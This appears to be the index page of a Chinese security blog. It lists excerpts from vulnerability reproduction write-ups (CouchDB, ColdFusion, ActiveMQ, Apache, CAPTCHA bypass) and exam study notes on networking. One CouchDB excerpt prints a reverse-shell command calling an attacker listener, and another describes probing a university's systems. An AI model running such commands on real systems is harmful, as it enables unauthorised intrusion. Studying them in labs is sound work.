- 博客(45)
- 收藏
- 关注
RSS订阅原创 条件竞争之文件上传
一、条件竞争介绍条件竞争,在程序员日常的Web应用开发中，通常不如其他漏洞受到的关注度高。因为普遍的共识是，条件竞争是不可靠的，大多数时候只能靠代码审计来识别发现，而依赖现有的工具或技术很难在黑盒灰盒中识别并进行攻击。即便该漏洞很难被发现，也仍然有很多企业曾被曝出相关漏洞，例如星巴克咖啡、小密圈的App 产品等。今天要讲解的条件竞争漏洞仅限于Web应用之中。
2024-01-07 02:13:06
645
原创 实战|验证码突破思路
漏洞成因：由于逻辑设计缺陷，可绕过验证，比如直接删除COOKIE或验证码参数可绕过、当验证不通过清空session时，验证码参数值为空时绕过等。测试方法：抓包，删除验证码字段，查看是否可以成功发送抓包，正常流程下，记录验证码后的数据包，替换目标包中内容，直接发送，查看是否可以直接绕过验证码案例：Step1.输入正确账户信息和错误验证码，登录时抓包Step2.删除COOKIEStep3.客户端登陆成功。
2024-01-06 01:24:14
1469
原创 Couchdb 任意命令执行漏洞(CVE-2017-12636)
command = rb"""sh -i >& /dev/tcp/192.168.217.128/5566 0>&1""" # 这里的ip为监听机ip也就是攻击机。target = 'http://192.168.217.128:5984' # 目标ip。如上图所示即反弹shell成功！三、构造payload。
2024-01-01 20:36:21
733
原创 Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
应用广泛，如BBC用在其动态内容展示平台，Credit Suisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）。在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12636是一个任意命令执行漏洞，我们可以通过config api修改couchdb的配置query_server，这个配置项在设计、执行view的时候将被运行。影响版本：小于 1.7.0 以及 小于 2.1.1。密码：password。
2024-01-01 17:38:24
733
原创 Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。由于AJP协议设计存在缺陷导致内部相关的属性可控，攻击者可以构造属性值，使未授权的用户读取服务器任意文件获得敏感信息，甚至可以进行远程代码执行漏洞的利用。Adobe ColdFusion 8、9版本中皆存在一处目录穿越漏洞。管理员密码获取到了，就可以正常玩耍了！三、输入admin初始化环境。五、漏洞利用，读取管理员密码。
2024-01-01 14:54:13
618
原创 apache httpd多后缀解析漏洞复现
由于管理员的错误配置, AddHandler application/x-httpd-php .php,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件,利用Apache httpd这个特性,就可以绕过上传文件的白名单。如上图所示即getshell成功！
2023-12-30 05:53:59
853
原创 AppWeb认证绕过漏洞(CVE-2018-8715)
六、漏洞存在特征（Gigest）四、抓包获取sesion。三、构造payload。五、修改数据包、认证头。
2023-12-30 04:00:09
776
原创 Apereo CAS 4.1 反序列化命令执行漏洞
最后的效果是这样的，笔者电脑问题，没继续了。四、生成加密后的payload。如上图所示，则表明漏洞存在。
2023-12-30 02:45:59
455
原创 Apache-ActiveMQ 反序列化漏洞(CVE-2015-5254)复现
如上图所示即反弹shell成功！二、用docker搭建漏洞环境。然后进入admin目录登录。查看一下目录，发现创建成功。最后点击它，触发命令执行。五、getshell。
2023-12-29 04:08:20
1043
6
原创 软考中级信息安全工程师：网络攻击原理与常用方法之缓冲区溢出攻击
网络攻击是指恶意分子通过利用计算机网络中的漏洞和弱点，侵入系统或者获取未授权的访问权限，从而造成数据泄露、服务拒绝、系统崩溃等危害。缓冲区溢出攻击是网络攻击中最常见和危险的一种攻击方式之一。它利用程序中的缓冲区漏洞，向缓冲区写入超出其预设大小的数据，导致程序行为异常，甚至获得系统控制权。缓冲区溢出攻击原理缓冲区溢出攻击利用程序在处理数据时没有足够的校验或边界检查，从而使得攻击者可以向程序的缓冲区写入比其容量更大的数据。攻击者通常通过发送大量数据，超出了程序预设的缓冲区大小，多余的数据会溢出到相邻内存
2023-08-04 11:05:59
386
原创 软考中级信息安全工程师：计算机网络之internet服务
从网页浏览到即时通讯、社交媒体和云计算，各种Internet服务使得我们可以在互联网上获取信息、与他人交流，享受娱乐和购物的便利。Internet服务是指通过互联网向用户提供的各种服务和资源。Internet服务的基础是互联网，它将全球的计算机和网络设备连接在一起，形成一个庞大的信息交流和资源共享平台。云计算通过将资源和服务提供给用户，让用户能够根据需要访问和使用这些资源，而无需拥有和管理这些资源的实际物理硬件。Internet服务是指通过全球范围的互联网向用户提供的各种服务和资源。
2023-08-04 10:58:05
88
原创 软考中级信息安全工程师：计算机网络之子网划分
子网掩码的长度由CIDR表示法表示，例如，/24表示24位的子网掩码。计算子网掩码的方法是：将子网掩码长度的前缀位设为1，后面的位数设为0，然后将二进制数转换为十进制数。了解子网掩码、网络地址和广播地址的计算方法，能够帮助我们正确划分子网，合理利用IP地址空间，优化网络性能，提高网络管理效率，并增强网络的安全性。计算广播地址的方法是：将子网掩码中主机部分全置为1，然后与网络地址进行逻辑或操作。计算网络地址的方法是：将IP地址的主机部分置为0，即将主机部分全部设为0，得到网络地址。
2023-08-04 10:55:19
106
原创 软考中级信息安全工程师：计算机网络之IP地址
为了简化IPv6地址的书写，可以去除每组数字前导的0，并且允许一次性省略连续的0组，用“::”表示。IPv4地址被分为网络地址和主机地址两部分，网络地址标识了设备所在的网络，而主机地址则用于标识同一网络中的具体设备。为了解决这个问题，IPv6（Internet Protocol version 6）被提出，它采用128位的地址空间，使得IP地址的数量大大增加，可以满足更多的网络连接需求。IPv6的地址空间非常庞大，远远超过IPv4的地址空间，为互联网的未来发展提供了充足的地址资源。
2023-08-04 10:51:26
89
原创 软考中级信息安全工程师：计算机网络之TCP/IP协议族
当谈及计算机网络，TCP/IP协议族是现代网络通信的核心。它是一组相互关联的协议，用于在全球范围内实现数据的传输和交换。
2023-08-03 00:54:04
102
原创 软考信息安全工程师：计算机网络之OSI/RM七层模型
每一层都有特定的功能，通过协作，它们实现了数据在网络中的传输和处理，从物理媒介上传输原始比特流到应用程序之间的通信。数据链路层（Data Link Layer）： 数据链路层建立在物理层之上，它负责在直连的节点之间传输数据帧。网络层（Network Layer）： 网络层的主要任务是在整个网络中找到合适的路径，使数据包能够从源地址传输到目的地址。表示层（Presentation Layer）： 表示层主要负责数据的格式转换，确保在不同系统上的应用程序之间能够正确地解释数据。
2023-08-02 00:11:10
297
原创 软考中级信息安全工程师：计算机网络之计算机网络分类
在实际网络中，通常会采用多种拓扑结构的组合，以便充分利用每种拓扑的优势，同时弥补其缺点。当谈到计算机网络时，我们通常指的是连接在一起的计算机和设备之间的通信系统。计算机网络是现代信息社会的重要基础设施，通过对其分类了解，我们可以更好地理解和应用不同类型的网络，以满足不同的通信需求。在星型拓扑中，每个设备都直接连接到一个中央设备，通常是交换机或集线器。这个中央设备充当数据的集线器，负责将从一个设备发送的数据包传输给目标设备。在环型拓扑中，每个设备都与其两侧的设备相连，形成一个封闭的环路。
2023-07-30 23:43:18
241
原创 软考中级信息安全工程师：硬件基础之校验码
校验码是一串额外的数据，通过对原始数据进行特定的计算生成。在数据传输或存储过程中，校验码附加在原始数据后面，一起传输或存储。接收方可以利用校验码来检测是否有数据发生了错误或者被损坏。
2023-07-29 13:00:26
155
原创 软考中级信息安全工程师
当谈论计算机硬件基础时，磁盘存储是一个重要的主题。磁盘存储是一种非易失性存储技术，用于在计算机系统中长期保存数据。在本文中，我们将介绍磁盘存储的基本原理、不同类型的磁盘以及其在计算机中的应用。
2023-07-28 10:28:41
365
原创 软考中级信息安全工程师：硬件基础之主存
主存作为计算机系统的核心组成部分，在计算机的运行过程中发挥着至关重要的作用。它为CPU提供了快速访问数据的通道，使计算机能够高效地执行各种任务。在不断发展的计算机领域，主存技术也在不断地进步和创新，为我们带来更强大、更高效的计算机体验。通过深入理解主存的工作原理和结构，我们可以更好地优化计算机系统，提高计算机性能，满足日益增长的计算需求。
2023-07-27 03:11:57
215
1
原创 软考中级信息安全工程师：硬件基础之寻址方式
寻址方式是计算机内存访问的基础，不同的寻址方式在不同的场景下发挥着重要作用。本文将深入探讨寻址方式的基本原理和不同类型的寻址方式，帮助读者更好地理解计算机内存的访问机制。基址寻址方式是通过将指令中的地址与基址寄存器中的内容相加，得到实际的内存地址。相对寻址方式是将指令中给出的地址与当前指令地址相加（或相减），得到实际的内存地址。间接寻址方式是通过指令中给出的地址，找到一个包含实际地址的存储单元，然后再根据该实际地址进行数据存取。变址寻址方式是通过将指令中的地址与变址寄存器中的内容相加，得到实际的内存地址。
2023-07-26 00:31:17
387
1
原创 软考中级信息安全工程师：硬件基础之运算器和控制器
在本文中，我们将深入了解这两个重要的计算机部件，揭示它们是如何协同工作，以及它们对计算机性能的影响。通过深入了解运算器和控制器的原理和功能，我们能更好地理解计算机的工作原理，为计算机的优化和应用提供更多的可能性。在这一节中，我们将探讨它们是如何协同工作的，以及在执行指令时，它们是如何相互配合完成计算任务的。：通过一个具体的例子，我们将演示一条指令是如何在运算器和控制器的协作下执行的。：运算器还负责数据在寄存器之间的传输。我们将介绍寄存器和数据传输的过程，以及在计算机执行指令时，数据是如何在运算器中流动的。
2023-07-25 13:50:21
409
转载 浅谈Spring Data R2DBC中的SQL注入
除了前面介绍的以外，还可以通过在方法上使用@Query注解，可以定义自定义的SQL查询，提供灵活的查询能力。看一个实际的例子：以模糊查询为例，在查询语句中使用了占位符:keyword来表示模糊查询的关键字。通过在查询方法中传递关键字参数，例如，将会执行类似于。
2023-07-21 10:56:37
748
1
转载 滴水之恩，当涌泉相报---对母校的一次渗透测试
时间过得真快，转眼就要大学毕业了，学了这么久的安全，还没有对母校测试一下，哈哈哈，去年测试过，那时候刚学，啥也不会，就感觉学校网站很安全，今天再次测试发现，ennnnnn，"挺好的"。这一处应该存在黑名单过滤，脚本类文件无法上传，这里包括了xml，html，js，css文件均无法上传，该系统应该存在waf，上传脚本文件直接400错误，就连弹窗快乐一下都不行了？发现所以职工号的密码都为123456，但是进入后需要点击注册，可以接管这个账号，但是作为一个有原则的人，没有进行注册填写，没有影响原有数据。
2023-07-18 10:25:54
356
1
转载 网络安全中接口测试的解决方案
新一代API测试工具Eolink 支持 HTTP(S)、Websocket、TCP、UDP 等主流协议的测试，解决了网络安全要求下传统接口安全测试的各种问题，对于不同协议的API测试就不用自己编写脚本，Eolink 节省了测试成本和时间。测试对外提供服务接口是否有防滥用机制，例如查询相关信息接口，一方面如果未对接口进行查询次数控制，则会导致大量信息泄露，另一方面，频繁的查询会对服务器性能造成影响如对方频繁恶意进行接口调用，则会导致接口性能下降，影响业务（基于业务的DDOS攻击）。
2023-07-16 11:40:21
133
1
转载 Vcenter实战利用方式总结
在实际情况中也碰到使用 MSSQL 数据库的情况，这时候直接使用 navicat 进行连接，搜索。默认是postgresql数据库，只能在vCenter服务器本地登录，执行语句查询ESXI的密码。访问上面的路径，如果404，则代表不存在漏洞，如果405 则可能存在漏洞。比较快的一种方法，但是修改之后无法获取原来的密码，管理员会发现密码被改。
2023-07-12 21:37:44
314
1
转载 一次针对安全人员免杀工具的投毒事件分析
小二在日常安全运营中发现公司某部门同事终端触发了powershell远程下载的告警。调查发现其在github 上下载的免杀工具，调用powershell下载了后门程序，经过分析后门为远控软件，疑似对安全人员一次投毒攻击。
2023-07-10 19:53:25
200
1
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人